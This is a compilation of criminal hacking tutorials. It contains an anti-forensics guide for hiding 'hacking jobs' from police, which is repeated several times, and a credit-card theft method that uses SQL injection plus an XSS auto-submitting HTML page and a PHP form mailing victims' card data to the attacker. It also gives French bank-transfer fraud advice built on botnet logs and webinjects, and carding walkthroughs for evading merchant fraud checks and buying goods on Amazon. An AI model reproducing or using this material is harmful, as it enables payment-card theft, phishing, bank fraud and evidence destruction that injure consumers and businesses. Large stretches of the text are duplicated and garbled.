ANY real information to your hacking alias. Build fake information if you are paranoid.

4.) Assume the FBI has the I.P logs of every website in the world.

5.) Use SSH tunneling to an offshore shell on top of your VPN for extra security.

6.) Don't get lazy, and be patient.
Tips:
NEVER have personal information linking to your social media. (Facebook, Twitter etc)
------------------------------------------------------------------------------------------------------------
---------------------
Always use SSL browsing to view websites, there are addons for firefox and chrome that
you can use.
------------------------------------------------------------------------------------------------------------
---------------------
NEVER discuss what you have done or are planning over email, always use encrypted
chat services.
------------------------------------------------------------------------------------------------------------
---------------------
Ideally, there should be nothing incriminating in your home, or at least too incriminating.
------------------------------------------------------------------------------------------------------------
---------------------
Don't use credit cards in areas you have stolen Wi-Fi from, security cameras are a bitch.
------------------------------------------------------------------------------------------------------------
---------------------
When Socially engineering items, get them sent to a nearby empty house. No point
getting caught for that hello kitty teapot you've been dying for.
------------------------------------------------------------------------------------------------------------
---------------------
#1 TIP: If the cops show (with a warrant), You don't say a WORD. A NOT A SINGLE
SOUND SHOULD EXIT YOUR MOUTH. You don't say 'I want my lawer', you don't
say 'Don't touch that', you say NOTHING. If you even your mouth for a SECOND, and
say ANYTHING, even if its only 'Hi', consider yourself screwed. YOUR MOUTH
SHOULD NEVER OPEN.

Complete Anonymity Guide! [Windows] Be Invisible

Alpha's Anti-Forensics Guide
Anti-Forensics is the art of leaving no trace on your computer, it is combating
common forensic tools in preventing any penetration for forensic tests on your
computer. It can pretty much be summed up with one famous quote:
"Make it hard for them to find you, and impossible for them to prove they've found
you."
Because Linux installations are pretty much already secured, this guide will only
focus on Windows. Windows is a security nightmare, but what if I were to tell you
there was a way around this, a way to make Windows secure? VPNs, proxies, and
Tor only get you so far, but what do you do when they've traced it to your
computer? This guide is designed to help you prevent them from proving you've
done anything wrong even if they have your computer.
With that being said, let's get started.


=========================================================

Disabling Time Stamps
Using Time Stamps, forensic experts can build a 'digital time-line', this can be very
compelling evidence when cross-referenced with other known evidence. In order to
strengthen security, we must disable these logs.

Step 1.) User Assist File
--------------------------------------
There is a registry setting that keeps logs and dates of all launch programs, forensic
experts can use this to build a digital timeline, we must disable this for computer security.
Navigate to 'HKEY_Current_User\Software\Microsoft\Windows\Currentvers
ion\Explorer\Userassist' . You should see two subkeys called Count, delete both these
keys. Now right-click the UserAssist key and create a new key named 'Settings'. In this
key create DWORD value named NoLog, set the value to 1.
Windows will no longer store hidden logs of the exact times you have been accesing
files, therefore forensics experts can no longer use these hidden logs to create a digital
timeline.

Step 2.) Last Access Logs
------------------------------------------
Next we will disable the last access in Windows. What last access is is a setting on
Windows that allows you to see when you opened, modified, and/or created files on your
computer and is similar to the UserAssist registry key. By disabling this forensic experts
won't as easily be able to tell when you've been accessing programs or files on your
computer.
To disable last access open command prompt on your computer, if on Vista or Windows
7 make sure to run as administrator. In command prompt type the following:
fsutil behavior set disablelastaccess 1
Last access has now been disabled, in order for it to take effect you must restart your
computer.



=========================================================

Encrypting Your Computer
It is very important to make sure that your computer is encrypted, in the case an
unwanted visitor is trying to access your computer, they will not be able to access to
computer if it is encrypted.

Step 1.) TrueCrypt
--------------------------------
To encrypt your computer, you can use TrueCrypt, a free program that allow you to
encrypt your computer. When encrypting with TrueCrypt, you have two options; the first
one is to create a hidden container. A hidden container is an operating system that is
impossible prove exists.
When creating a hidden container you will have three different passwords:
1. The First would be for your decoy system, the operating system you would show
someone forcing you to login your computer.
2. The second password would be for your outer volume, the operating system you would
show someone forcing you to login to the second partition on your computer (a second
partition is require computer for your hidden container is.
3. Third password is for the hidden operating system on the second partition of your
computer, this operating system is placed in the inner volume, and is impossible to prove
exists (It appears to be RAW data).
The second option is to just encrypt your hard-drive. This is also very secure, but you
may be forced to give up your password due to court-order (In this situation, if you are a
VERY good lier, you could simply say 'I forgot', but you would have to make it
believable.) With normal drive encryption, your computer is just as secure encryption
wise, and you will have a single password.
Download here!

Step 2.) Encrypt Your Keystrokes
--------------------------------------------------------
You need to protect yourself from keyloggers. As strange as it may sound even the
government has keyloggers, a few years ago the law speculation about CIPAV, a
government spyware known to send the users IP address, Mac address, open ports,
operating system, installed applications, default web browser, visited URLs, logged in
user, etc...
In order to protect yourself from keyloggers, you should encrypt your keystrokes. You
can do this using a software called 'Keyscrambler'. Please note, you should NOT use the
free version of Keyscrambler, you should only use the Premium version, which costs a
decent some of money. (-Cough- ThePirateBay.se -Cough-).
Keyscrambler Premium supports 170 programs, including windows logon, most web
browsers, and popular IM programs (i.e. Skype).


=========================================================

Making Encryption Secure
Encryption is pointless if it can be easily bypassed or overcome. You need to make sure
that the encryption is secure too.

Step 1.) Make Sure Your Password Is Strong
Even with your computer encrypted, it is still vulnerable. Make sure your password is
good (for optimal security, your password should be twenty or more characters, with
symbols, numbers, and random capitals, and a special symbol (like ALT+1456) really
increase security).
If you password is not strong enough, you can change it by right clicking your encrypted
drive in TrueCrypt and selecting 'Change Password'.

Step 2.) Create A Locked Screen Saver
Encryption is pointless if the feds get to your computer while its running. They can use
live forensic tools that don't require the movement or shutdown of a computer. A very
simple technique to overcome this is to create a locked screen saver.
To create a locked screen saver in Windows Vista or Windows 7;
Right click your desktop and click on 'Personalize'. In the bottom left hand corner you
should see 'Screen Saver', click that. Now, check 'On Resume, Display Logon Screen',
and set 'Wait' to 5. Now, underneath that you may set what you want your screen saver to
be.
Now you must go to your Control Panel. Click on System and Securtiy, now click on
'Power Options' find your selected plan and click 'Change plan settings.' Now, set 'Turn
Of Display' to 5 minutes. Voila! You have now created a locked screen saver.

Step 3.) Get A Good Anti-Virus
This may seem obvious, but all this is pointless if you get infected with a keylogger that
takes screen shots. Having a good anti-virus is one of the most important things you can
do. Now, listen up. AVG, Avast, McCafe, Norton? They all SUCK. The only Anti-Virus
you should even consider are ESET Nod32 and Kaspersky, BitDefender is also pretty
good.
These anti-virus programs are expensive, but you can torrent them from ThePirateBay.se,
just make sure you find one with a lot of seeders.


=========================================================

Disabling Windows Hibernation
You may as well hand your computer over to the feds if they raid your house and your
computer is in hibernation. Also, putting your computer into hibernation is pretty much
just taking a screen shot of your RAM that gets saved to your hard drive.
To disable hibernation in Windows Vista/7:
Open your Control Panel. Click System and Security, then click 'Power Options'. Click
'Change plan settings' for you current power plan.
Now click 'Change advanced power settings'. Expand 'Sleep', then expand 'Hibernate
After'. Enter “0" for 'Setting:' to set hibernate to 'Never'.
Hibernation is now disabled.



=========================================================

Disable and Remove USB Logs
Next on the list of Anti-Forensics in to disable logs of USB activity, flash drives, etc...
This can be valuable if you have a flash drive with sensitive data and you don't want any
logs of it ever being plugged it to your computer.

Step 1.) Delete the USBSTOR Registry Setting
The USBSTOR setting contains history of plugged in USB devices.
To delete it, hit the WINDOWS Home Button + R at the same time. This will open up
'Run'; type: "Regedit" (without quotes). Browse to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
Now, right click 'USBSTOR' and hit 'Delete', then confirm that you want to delete the
key. Now, the key has been deleted.

Step 2.) Delete The Setupapi.log File
The Setuppapi.log is a plain-text file that stores the list of installed USB devices and their
drivers. We will delete it with a program called CCleaner.
CCleaner is actually one of the best anti-forensic tools out there, and its free. For
Instructions on using CCleaner, Please see the 'CCleaner' section of this guide.



=========================================================

Windows Security Misc.
This is for the shit that has to do with windows anti-forensic security, but wasn't big
enough to have its own section. That does NOT mean this section isn't important, the
stuff in here may actually be the most important in the whole guide.

Step 1) Disable System Restore Points
System Restore points can be used to bring your computer back to a date when it wasn't
secure and can also be used to restore overwritten files.
To disable System Restore points, right click 'Computer' and click 'Properties'. Now click
'Advanced System Settings'. Under 'System Protection' click 'Configure'.
Now, select 'Turn Of System Protection' and apply it.

Step 2) Disable 'Send Error Report to Microsoft
This is self-explanitory, we obviously don't want microsoft having logs of all our crashed
programs.
To do this, go to your start menu and search 'problem reporting settings' and then click on
'Choose How To Report Problems'. Click 'Change Report Settings For All Users' and
then set it to 'Never check for solutions'.

Step 3) Wipe With CCleaner
This is the heart of Anti-Forensics right here. CCleaner is actually one of the most
powerful Anti-Forensic tools, -IF- used correctly.
As it turns out, when deleting files, you DO NOT need to do multiple overwrites. With
modern hard-drives, one overwrite really is enough to delete a file beyond repair, even
though it is popular belief that you need several overwrites to be secure.
With CCleaner, I would recommend three overwrites, just in-case it misses something the
first time around (remember, it is a free software).
Once you have CCleaner installed, run it (AS ADMIN), go to 'Settings' and make sure
you have it set to overwrite deleted data with three passes.
Go back to 'Cleaner' and check EVERYTHING. I mean EVERYTHING, and hit 'Run
Cleaner'. You might want to leave this on overnight.
Do this everytime you are done with a major hacking job. When using normally (what
should be every time you are done with your computer), uncheck 'Wipe Free Space', this
will cut down the time from hours to a few minutes.

Step 4) Disable Debugging Upon Failure
This keeps logs of your computers failures and blue screen info.
To disable it, right click 'Computer' and go to 'Advanced System Settings', now go to
'Start Up and Recovery'. Now, set 'Debugging Information' to 'None'.

Step 5) Disable Windows Event Logging
Windows keeps logs of all events on the computer. First, before we disable, we must
clear all the logs.
To disable it, go to Control Panel then System and Security. Now, click Administrative
Tools, and then Event Viewer. In either pane of the Event Viewer window, right-click
System and then select Clear All Events, you will get a window that says: "Do you want
to save 'System' before clearing it?", click 'No'.
Now we must disable Windows Event Logging. Go to 'Run' and type in 'msconfig', then
go to 'Services' and make sure 'Hide all Microsoft Services' is UNCHECKED. Now scroll
down until you find 'Windows Event Logging', and UNCHECK it.
Now restart your computer right away.

Step 6) Disable Stand By In Registry
Disable 'Stand By'. Just create a new text document and add this:
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\ACPI\Parameters]
"AMLIMaxCTObjs"=hex:04,00,00,00 "Attributes"=dword:0070
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic
es\ACPI\Parameters\WakeUp] "FixedEventMask"=hex:20,05
"FixedEventStatus"=hex:00,84 "GenericEventMask"=hex:18,50,00,10
"GenericEventStatus"=hex:10,00,ff,00
Then save as a .REG file, and run it. Click okay when prompted for confirmation.



=========================================================

Preventing being found in the first place:
You should never be tracked in the first place. Follow these guide lines to stay
anonymous:

1.) Use a no log VPN, such as nVPN, KryptoVPN, or BlackShades VPN. Offshore is
better than onshore.

2.) Use Tor for web browsing you wouldn't want the FBI, or your ISP looking at.

3.) Never release personal information online and use different aliases. Never connect
ANY real information to your hacking alias. Build fake information if you are paranoid.

4.) Assume the FBI has the I.P logs of every website in the world.

5.) Use SSH tunneling to an offshore shell on top of your VPN for extra security.

6.) Don't get lazy, and be patient.
Tips:
NEVER have personal information linking to your social media. (Facebook, Twitter etc)
------------------------------------------------------------------------------------------------------------
---------------------
Always use SSL browsing to view websites, there are addons for firefox and chrome that
you can use.
------------------------------------------------------------------------------------------------------------
---------------------
NEVER discuss what you have done or are planning over email, always use encrypted
chat services.
------------------------------------------------------------------------------------------------------------
---------------------
Ideally, there should be nothing incriminating in your home, or at least too incriminating.
------------------------------------------------------------------------------------------------------------
---------------------
Don't use credit cards in areas you have stolen Wi-Fi from, security cameras are a bitch.
------------------------------------------------------------------------------------------------------------
---------------------
When Socially engineering items, get them sent to a nearby empty house. No point
getting caught for that hello kitty teapot you've been dying for.
------------------------------------------------------------------------------------------------------------
---------------------
#1 TIP: If the cops show (with a warrant), You don't say a WORD. A NOT A SINGLE
SOUND SHOULD EXIT YOUR MOUTH. You don't say 'I want my lawer', you don't
say 'Don't touch that', you say NOTHING. If you even your mouth for a SECOND, and
say ANYTHING, even if its only 'Hi', consider yourself screwed. YOUR MOUTH
SHOULD NEVER OPEN.

Complete Anonymity Guide! [Windows] Be Invisible

Alpha's Anti-Forensics Guide
Anti-Forensics is the art of leaving no trace on your computer, it is combating
common forensic tools in preventing any penetration for forensic tests on your
computer. It can pretty much be summed up with one famous quote:
"Make it hard for them to find you, and impossible for them to prove they've found
you."
Because Linux installations are pretty much already secured, this guide will only
focus on Windows. Windows is a security nightmare, but what if I were to tell you
there was a way around this, a way to make Windows secure? VPNs, proxies, and
Tor only get you so far, but what do you do when they've traced it to your
computer? This guide is designed to help you prevent them from proving you've
done anything wrong even if they have your computer.
With that being said, let's get started.


=========================================================

Disabling Time Stamps
Using Time Stamps, forensic experts can build a 'digital time-line', this can be very
compelling evidence when cross-referenced with other known evidence. In order to
strengthen security, we must disable these logs.

Step 1.) User Assist File
--------------------------------------
There is a registry setting that keeps logs and dates of all launch programs, forensic
experts can use this to build a digital timeline, we must disable this for computer security.
Navigate to 'HKEY_Current_User\Software\Microsoft\Windows\Currentvers
ion\Explorer\Userassist' . You should see two subkeys called Count, delete both these
keys. Now right-click the UserAssist key and create a new key named 'Settings'. In this
key create DWORD value named NoLog, set the value to 1.
Windows will no longer store hidden logs of the exact times you have been accesing
files, therefore forensics experts can no longer use these hidden logs to create a digital
timeline.

Step 2.) Last Access Logs
------------------------------------------
Next we will disable the last access in Windows. What last access is is a setting on
Windows that allows you to see when you opened, modified, and/or created files on your
computer and is similar to the UserAssist registry key. By disabling this forensic experts
won't as easily be able to tell when you've been accessing programs or files on your
computer.
To disable last access open command prompt on your computer, if on Vista or Windows
7 make sure to run as administrator. In command prompt type the following:
fsutil behavior set disablelastaccess 1
Last access has now been disabled, in order for it to take effect you must restart your
computer.



=========================================================

Encrypting Your Computer
It is very important to make sure that your computer is encrypted, in the case an
unwanted visitor is trying to access your computer, they will not be able to access to
computer if it is encrypted.

Step 1.) TrueCrypt
--------------------------------
To encrypt your computer, you can use TrueCrypt, a free program that allow you to
encrypt your computer. When encrypting with TrueCrypt, you have two options; the first
one is to create a hidden container. A hidden container is an operating system that is
impossible prove exists.
When creating a hidden container you will have three different passwords:
1. The First would be for your decoy system, the operating system you would show
someone forcing you to login your computer.
2. The second password would be for your outer volume, the operating system you would
show someone forcing you to login to the second partition on your computer (a second
partition is require computer for your hidden container is.
3. Third password is for the hidden operating system on the second partition of your
computer, this operating system is placed in the inner volume, and is impossible to prove
exists (It appears to be RAW data).
The second option is to just encrypt your hard-drive. This is also very secure, but you
may be forced to give up your password due to court-order (In this situation, if you are a
VERY good lier, you could simply say 'I forgot', but you would have to make it
believable.) With normal drive encryption, your computer is just as secure encryption
wise, and you will have a single password.
Download here!

Step 2.) Encrypt Your Keystrokes
--------------------------------------------------------
You need to protect yourself from keyloggers. As strange as it may sound even the
government has keyloggers, a few years ago the law speculation about CIPAV, a
government spyware known to send the users IP address, Mac address, open ports,
operating system, installed applications, default web browser, visited URLs, logged in
user, etc...
In order to protect yourself from keyloggers, you should encrypt your keystrokes. You
can do this using a software called 'Keyscrambler'. Please note, you should NOT use the
free version of Keyscrambler, you should only use the Premium version, which costs a
decent some of money. (-Cough- ThePirateBay.se -Cough-).
Keyscrambler Premium supports 170 programs, including windows logon, most web
browsers, and popular IM programs (i.e. Skype).


=========================================================

Making Encryption Secure
Encryption is pointless if it can be easily bypassed or overcome. You need to make sure
that the encryption is secure too.

Step 1.) Make Sure Your Password Is Strong
Even with your computer encrypted, it is still vulnerable. Make sure your password is
good (for optimal security, your password should be twenty or more characters, with
symbols, numbers, and random capitals, and a special symbol (like ALT+1456) really
increase security).
If you password is not strong enough, you can change it by right clicking your encrypted
drive in TrueCrypt and selecting 'Change Password'.

Step 2.) Create A Locked Screen Saver
Encryption is pointless if the feds get to your computer while its running. They can use
live forensic tools that don't require the movement or shutdown of a computer. A very
simple technique to overcome this is to create a locked screen saver.
To create a locked screen saver in Windows Vista or Windows 7;
Right click your desktop and click on 'Personalize'. In the bottom left hand corner you
should see 'Screen Saver', click that. Now, check 'On Resume, Display Logon Screen',
and set 'Wait' to 5. Now, underneath that you may set what you want your screen saver to
be.
Now you must go to your Control Panel. Click on System and Securtiy, now click on
'Power Options' find your selected plan and click 'Change plan settings.' Now, set 'Turn
Of Display' to 5 minutes. Voila! You have now created a locked screen saver.

Step 3.) Get A Good Anti-Virus
This may seem obvious, but all this is pointless if you get infected with a keylogger that
takes screen shots. Having a good anti-virus is one of the most important things you can
do. Now, listen up. AVG, Avast, McCafe, Norton? They all SUCK. The only Anti-Virus
you should even consider are ESET Nod32 and Kaspersky, BitDefender is also pretty
good.
These anti-virus programs are expensive, but you can torrent them from ThePirateBay.se,
just make sure you find one with a lot of seeders.


=========================================================

Disabling Windows Hibernation
You may as well hand your computer over to the feds if they raid your house and your
computer is in hibernation. Also, putting your computer into hibernation is pretty much
just taking a screen shot of your RAM that gets saved to your hard drive.
To disable hibernation in Windows Vista/7:
Open your Control Panel. Click System and Security, then click 'Power Options'. Click
'Change plan settings' for you current power plan.
Now click 'Change advanced power settings'. Expand 'Sleep', then expand 'Hibernate
After'. Enter “0" for 'Setting:' to set hibernate to 'Never'.
Hibernation is now disabled.



=========================================================

Disable and Remove USB Logs
Next on the list of Anti-Forensics in to disable logs of USB activity, flash drives, etc...
This can be valuable if you have a flash drive with sensitive data and you don't want any
logs of it ever being plugged it to your computer.

Step 1.) Delete the USBSTOR Registry Setting
The USBSTOR setting contains history of plugged in USB devices.
To delete it, hit the WINDOWS Home Button + R at the same time. This will open up
'Run'; type: "Regedit" (without quotes). Browse to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
Now, right click 'USBSTOR' and hit 'Delete', then confirm that you want to delete the
key. Now, the key has been deleted.

Step 2.) Delete The Setupapi.log File
The Setuppapi.log is a plain-text file that stores the list of installed USB devices and their
drivers. We will delete it with a program called CCleaner.
CCleaner is actually one of the best anti-forensic tools out there, and its free. For
Instructions on using CCleaner, Please see the 'CCleaner' section of this guide.



=========================================================

Windows Security Misc.
This is for the shit that has to do with windows anti-forensic security, but wasn't big
enough to have its own section. That does NOT mean this section isn't important, the
stuff in here may actually be the most important in the whole guide.

Step 1) Disable System Restore Points
System Restore points can be used to bring your computer back to a date when it wasn't
secure and can also be used to restore overwritten files.
To disable System Restore points, right click 'Computer' and click 'Properties'. Now click
'Advanced System Settings'. Under 'System Protection' click 'Configure'.
Now, select 'Turn Of System Protection' and apply it.

Step 2) Disable 'Send Error Report to Microsoft
This is self-explanitory, we obviously don't want microsoft having logs of all our crashed
programs.
To do this, go to your start menu and search 'problem reporting settings' and then click on
'Choose How To Report Problems'. Click 'Change Report Settings For All Users' and
then set it to 'Never check for solutions'.

Step 3) Wipe With CCleaner
This is the heart of Anti-Forensics right here. CCleaner is actually one of the most
powerful Anti-Forensic tools, -IF- used correctly.
As it turns out, when deleting files, you DO NOT need to do multiple overwrites. With
modern hard-drives, one overwrite really is enough to delete a file beyond repair, even
though it is popular belief that you need several overwrites to be secure.
With CCleaner, I would recommend three overwrites, just in-case it misses something the
first time around (remember, it is a free software).
Once you have CCleaner installed, run it (AS ADMIN), go to 'Settings' and make sure
you have it set to overwrite deleted data with three passes.
Go back to 'Cleaner' and check EVERYTHING. I mean EVERYTHING, and hit 'Run
Cleaner'. You might want to leave this on overnight.
Do this everytime you are done with a major hacking job. When using normally (what
should be every time you are done with your computer), uncheck 'Wipe Free Space', this
will cut down the time from hours to a few minutes.

Step 4) Disable Debugging Upon Failure
This keeps logs of your computers failures and blue screen info.
To disable it, right click 'Computer' and go to 'Advanced System Settings', now go to
'Start Up and Recovery'. Now, set 'Debugging Information' to 'None'.

Step 5) Disable Windows Event Logging
Windows keeps logs of all events on the computer. First, before we disable, we must
clear all the logs.
To disable it, go to Control Panel then System and Security. Now, click Administrative
Tools, and then Event Viewer. In either pane of the Event Viewer window, right-click
System and then select Clear All Events, you will get a window that says: "Do you want
to save 'System' before clearing it?", click 'No'.
Now we must disable Windows Event Logging. Go to 'Run' and type in 'msconfig', then
go to 'Services' and make sure 'Hide all Microsoft Services' is UNCHECKED. Now scroll
down until you find 'Windows Event Logging', and UNCHECK it.
Now restart your computer right away.

Step 6) Disable Stand By In Registry
Disable 'Stand By'. Just create a new text document and add this:
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\ACPI\Parameters]
"AMLIMaxCTObjs"=hex:04,00,00,00 "Attributes"=dword:0070
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic
es\ACPI\Parameters\WakeUp] "FixedEventMask"=hex:20,05
"FixedEventStatus"=hex:00,84 "GenericEventMask"=hex:18,50,00,10
"GenericEventStatus"=hex:10,00,ff,00
Then save as a .REG file, and run it. Click okay when prompted for confirmation.



=========================================================

Preventing being found in the first place:
You should never be tracked in the first place. Follow these guide lines to stay
anonymous:

1.) Use a no log VPN, such as nVPN, KryptoVPN, or BlackShades VPN. Offshore is
better than onshore.

2.) Use Tor for web browsing you wouldn't want the FBI, or your ISP looking at.

3.) Never release personal information online and use different aliases. Never connect
ANY real information to your hacking alias. Build fake information if you are paranoid.

4.) Assume the FBI has the I.P logs of every website in the world.

5.) Use SSH tunneling to an offshore shell on top of your VPN for extra security.

6.) Don't get lazy, and be patient.
Tips:
NEVER have personal information linking to your social media. (Facebook, Twitter etc)
------------------------------------------------------------------------------------------------------------
---------------------
Always use SSL browsing to view websites, there are addons for firefox and chrome that
you can use.
------------------------------------------------------------------------------------------------------------
---------------------
NEVER discuss what you have done or are planning over email, always use encrypted
chat services.
------------------------------------------------------------------------------------------------------------
---------------------
Ideally, there should be nothing incriminating in your home, or at least too incriminating.
------------------------------------------------------------------------------------------------------------
---------------------
Don't use credit cards in areas you have stolen Wi-Fi from, security cameras are a bitch.
------------------------------------------------------------------------------------------------------------
---------------------
When Socially engineering items, get them sent to a nearby empty house. No point
getting caught for that hello kitty teapot you've been dying for.
------------------------------------------------------------------------------------------------------------
---------------------
#1 TIP: If the cops show (with a warrant), You don't say a WORD. A NOT A SINGLE
SOUND SHOULD EXIT YOUR MOUTH. You don't say 'I want my lawer', you don't
say 'Don't touch that', you say NOTHING. If you even your mouth for a SECOND, and
say ANYTHING, even if its only 'Hi', consider yourself screwed. YOUR MOUTH
SHOULD NEVER OPEN.

Hacking CVV Simple

This is my method for getting fresh CC info, sent directly to an inbox of your choosing!


First, you need to find yourself a vulnerable shop. Won't go into too many details here, this should be pretty drilled into your head by now. You can do this with Google Dorks manually, or use tools like WebCruiser, SQLi poison, etc. What your looking for is a shop with both SQLi vulnerabilities, and XSS vulnerabilities.


First, as you may have noticed on most databases containing CC info, it's encrypted, MD5, FPE, whatever it is it's not feasible to work with that. However, one thing you can work with is the current and former customer's e-mail addresses. Go ahead and rip the whole table with the customer information. If you're lucky, you'll get at least 10,000 e-mail addresses or more.


Next, you need to work with the XSS vulnerability. I've noticed the most common being POST vulnerability, so I'll go that route, but you can incorporate it with FORM or whatever.


You can use the following code to make a redirect.html or whatever you wish to name it. This page will load the vulnerable website immediately, with one exception, a giant IFRAME over it which of course is going to be another page you make.

<html>
<head>
<script language=javascript>
function submitPostLink()
:zin:{
document.postlink.submit();
}
</script>
</head>
<body onload="submitPostLink()">
<form action="http://www.XXXXXXXcom/TextSearch.asp" name=postlink method="post">
<input type="hidden" name="NAMEOFVULNERABLEFIELD" value="<iframe  src=&quot;Ecommerce Web Site Hosting and Streaming from YourHost.com  width=&quot;800&quot;height=&quot;2400&quot;  style=&quot;z-index: 0; position: absolute; top: 0; left: 0;  overflow-y: hidden;&quot; frameborder=0  align=center></iframe>">
</form>
</body>
</html>


Go ahead and goto the checkout page for the site you're working with, and save the page to your hard drive, including all the subdirectory files and images (firefox does this auto). Now, you need to edit the main file you just saved.


Search for "action=", and change the page following it to your third page you will make, which will be the PHP mail form that will send your e-mail all the information someone fills in the form. The code will look something like....

<?php
$userinfo = "@com"; //your email here
$ip = getenv("REMOTE_ADDR");
$message .= "".$_POST['firstname']."\n";
$message .= "".$_POST['lastname']."\n";
$message .= "".$_POST['org_name']."\n";
$message .= "".$_POST['telephone']."\n";
$message .= "".$_POST['fax']."\n";
$message .= "".$_POST['email']."\n";
$message .= "---------------------------------------------\n";
$message .= "".$_POST['cctype']."\n";
$message .= "".$_POST['credcard']."\n";
$message .= "".$_POST['exp_mon']."\n";
$message .= "".$_POST['exp_year']."\n";
$message .= "".$_POST['cccvv']."\n";
$message .= "".$_POST['ccname']."\n";


$subject="SUBJECT - $ip";
$headers = "From: NAMEl<@.com>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($userinfo,$subject,$message,$headers);


You'll want to follow this code with some html code that also looks like a copy of their site but with some text saying something along the lines of "sorry, this offer is no longer available" or something of the sort. I'll explain why right now.


After putting all this together and uploading it to a host, you'll want to shorten youre redirect.html URL, you can use *******, or another shortening service. Then, you can send an e-mail to all the customers e-mail addresses, (AND YOU CAN BE CREATIVE), but something along the lines of them being a valuable customer, and because of that, you're giving them one of your newest products for only 99 cents! Make sure that on your checkout form, you list the item you choose, so they see it when they're checking out.


A great service to send bulk mail for FREE, and no trial or anything, that is if you don't have hacked SMTP to use, is targethero.com


They let you send Unlimited e-mails to up to 5,000 different contacts. Not bad for free. You'll have to confirm your account with a cell phone, but you should just use receive-sms-online.com or freesmsreceive.com/index.php where you can get SMS sent to you with no registration.


Trust me, if you send enough e-mails to former customers, especially when it's in the health and supplement niche, if they get an offer for a 99 cent bottle or something, they're gonna jump all over that!


Anyway, if you have any questions, please feel free to ask, and I apologize if I was a little vague but I don't have much time right now but wanted to get this up. Enjoy!!!

!!SECERET OF FRENCH BANK

Hi I write for each bank all info you need for do online bank transfer and all info about 3d secure (vbv)
If you have a zeus or spyeye botnet with lots of french logs and you can't do anything read

Introduction : French bank are very secure, maybe more than a lot of usa bank
You need to have a phone (french or not) for do online transfert or vbv (skype number works good)
Find bin of cvv (6 first number) and look the bank
Bank : Societe Generale (very use in france)
Security : High

3d secure

for pay with a cc in vbv website. The bank send 2 possibility of ask :

1st is the most easy, if the owner of the card have not enter phone number and for certain website with an old vbv sytem. They ask only the DOB

2nd most use, need a code received in the phone of the user (can't be card)
or you need add a phone number (owner not have activate 3d secure)
You need call the phone number for foreign land if you are not in france and answer for these question : DOB & DEPT OF BIRTH & 8-digit customer code on a rib & Your phone you want to use

Online transfer (in France for other country you need just add rib and print the paper for send in societe general agency)

If the owner not have register his phone you can do online transfer, you just need
A phone number of foreign country or france
8-digit customer code on a rib & DOB & DEPT OF BIRTH
wait 3-5days
(this is same security than 3d secure)

for conclusion, you need a webinject or a phishing page with :
8-digit customer code on a rib
DEPT OF BIRTH
DOB

CVV Carding Tutorial [Operating Systems]

 This tutorial is mainly if you are a merchant and you are carding your own products that you have listed up for sale.


Merchant account providers such as Plimus or Avangate use sophisticated methods of detecting fraud.
One method that they use is they compare computers that have placed orders.
If a Windows Vista OS using Google chrome web browser placed 20 orders in the same day
A red flag will be raised. Despite the fact that you are changing your IP address or hiding it using a VPN / Socket
The web merchant will still raise a red flag if the same OS and same Browser keep placing orders


Guess what Im here to teach you on how to beat the system!
This is very simply to do; you don’t need to keep using different computers with different browsers
All you need to do is download and install some simple plugins


1) Head over to Mozzilla website and download Firefox


2) Ones you have downloaded Firefox install it (obviously)


3) Ones Firefox is up* go to addons.mozzila.org and search for “User Agent Switcher”


4) Download + install the add-on and restart your web browser (YOU NEED TO RESTART)


5) Start up Firefox go to Tools > User Agent Switcher > User Agents


6) You have a selection of web browser that you can select along with different OS


7) Select the OS + Browser you want then hover to a website you are carding from + place the order (Don’t forget the VPN + Socket!)


What this does is it tricks the website into thinking you are placing an order from a Different computer + Different web browser
Let’s say you are using a windows computer with firefox* you can trick the website into thinking you are placing the order from a Mac OS with Google chrome where in reality you are just tampering with the User Agent.
This tutorial has been made been written
All credits go to me since I am the author of this article


Hope you enjoy it!

thanks

Categories: Credit Card Hack
 Email ThisBlogThis!Share to TwitterShare to FacebookShare to Pinterest

PayPal Carding Stuff

THIS HAS BEEN TESTED FOR 2 IPADS

1 . A "CC" With Full Billing Information.
[Make Sure It's A Nice Bin (BIZ,CORP,GOLD,PLAT)]

2 . Socks5 Proxy Matching "CC" City+State
[If You Don't Know What Socks5 Proxy Is Google It Noob]

3 . A Freshly Made Email With "CC" Owners Name In It.
[Example If "CC" Owner's Name Is John Doe. Make Something Like John7Doe@hotmail.com]

-= THiS TUT IS BY CRIMES.WS FORCRIMES.WS MEMBERS =-

-= If Your Going To Leech It ATLEAST Give Us Credit =-

====================================

Step 1 :

Go To The Amazon Website Create An Account Using The "CC" Billing Information And The Fresh E-mail You Created. Make Sure You Create The Account Thru The Socks5 Proxy.

Step 2 :

Once You Have Created Your Amazon Account It's Time To Make The Account Look Like If It Was Made By A Legit Buyer. Over The Last Few Years Amazon Has Been Getting Harder & Harder To Card They Review Each Account When They Place There 1ST Order Therefore Add Something To Your Cart
(Anything Below $100.00USD) Once You Have A Item Under $100.00USD In Cart Sign Out Don't Card It Yet. Wait 5 Hours Before Signing Back In! When You Sign Back In Make Sure Your On Socks5 Matching CC BILLING CITY+STATE. Once Your Logged In Check Out. If The CC You Used Is Good It Will Ship Once It Ships Your Ready To Move To Step 3.


Step 3 :

Once You Get A Tracking Number For You Item You Carded Under 100.00USD. Your Account Has Been Reviewed Now You Can Card Anything From 500-800 Without Any Problem. Enjoy
Categories: Credit Card Hack

HACK CREDIT CARD

 Note: Hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial. This post is for educational purposes only.

Lets start with some easy terms.

What is credit card ?

Credit cards are of two types:
• Debit Card
• Credit Card
1. Debit means u have a sum of amount in it and u can use them.
2. Credit means u have a credit line limit like of $10000 and u can use them and by the end of month pay it to bank.

To use a credit card on internet u just not need cc number and expiry but u need many info like :
• First name
• Last name
• Address
• City
• State
• Zip
• Country
• Phone
• CC number
• Expiry
• CVV2 ( this is 3digit security code on backside after signature panel )
If you get that info you can use that to buy any thing on internet, like software license, porn site membership, proxy membership, or any thing (online services usually, like webhosting, domains).

If u want to make money $ through hacking then you need to be very lucky... you need to have a exact bank and bin to cash that credit card through ATM machines.

